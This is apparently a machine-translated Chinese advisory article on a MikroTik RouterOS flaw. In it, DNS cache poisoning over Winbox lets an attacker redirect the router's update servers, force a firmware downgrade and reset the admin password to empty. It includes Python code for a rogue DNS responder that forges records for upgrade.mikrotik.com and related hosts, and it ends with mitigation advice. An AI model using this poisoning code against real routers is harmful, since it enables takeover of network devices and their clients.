基於 RouterOS (Mikrotik) 的遠端降級設備的能力使數十萬網路設備面臨風險。 該漏洞與 Winbox 協議的 DNS 快取中毒相關,可讓您將過時的(預設密碼重設)或修改的韌體載入到裝置上。
漏洞詳情
RouterOS終端機支援resolve指令進行DNS查找。
此請求由稱為解析器的二進位處理。 Resolver 是連接到 RouterOS 的 Winbox 協定的眾多二進位檔案之一。 在較高層面上,傳送至 Winbox 連接埠的「訊息」可以根據基於陣列的編號方案路由到 RouterOS 中的各種二進位檔案。
預設情況下,RouterOS 會停用 DNS 伺服器功能。
然而,即使伺服器功能被停用,路由器也會維護自己的 DNS 快取。
當我們使用 winbox_dns_request 例如 example.com 發出請求時,路由器將會快取結果。
由於我們可以指定請求應通過的 DNS 伺服器,因此輸入錯誤的位址是微不足道的。 例如,您可以從設定 DNS 伺服器實現
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
現在,如果您使用 Winbox 搜尋 example.com,您可以看到路由器的 DNS 快取已中毒。
當然,中毒 example.com 並不是很有用,因為路由器實際上不會使用它。 但路由器需要存取upgrade.mikrotik.com、cloud.mikrotik.com、cloud2.mikrotik.com和download.mikrotik.com。 由於另一個錯誤,有可能一次毒死他們。
def dns_response(data):
request = DNSRecord.parse(data)
reply = DNSRecord(DNSHeader(
id=request.header.id, qr=1, aa=1, ra=1), q=request.q)
qname = request.q.qname
qn = str(qname)
reply.add_answer(RR(qn,ttl=30,rdata=A("192.168.88.250")))
reply.add_answer(RR("upgrade.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("cloud2.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
reply.add_answer(RR("download.mikrotik.com",ttl=604800,
rdata=A("192.168.88.250")))
print("---- Reply:n", reply)
return reply.pack()
路由器請求一項權限,我們回傳五項權限。 路由器無法正確快取所有這些回應。
顯然,如果路由器充當 DNS 伺服器,這種攻擊也很有用,因為它允許路由器的用戶端受到攻擊。
此攻擊還允許您利用更嚴重的漏洞:降級或向後移植 RouterOS 版本。 攻擊者重新建立更新伺服器的邏輯,包括更改日誌,並迫使 RouterOS 將過時(易受攻擊)版本視為當前版本。 這裡的危險在於,當版本「更新」時,管理員密碼被重設為預設值——攻擊者可以用空密碼登入系統!
儘管事實上,攻擊非常有效
保護
只需停用 Winbox 即可保護自己免受這些攻擊。 儘管透過 Winbox 進行管理很方便,但最好使用 SSH 協定。
來源: www.habr.com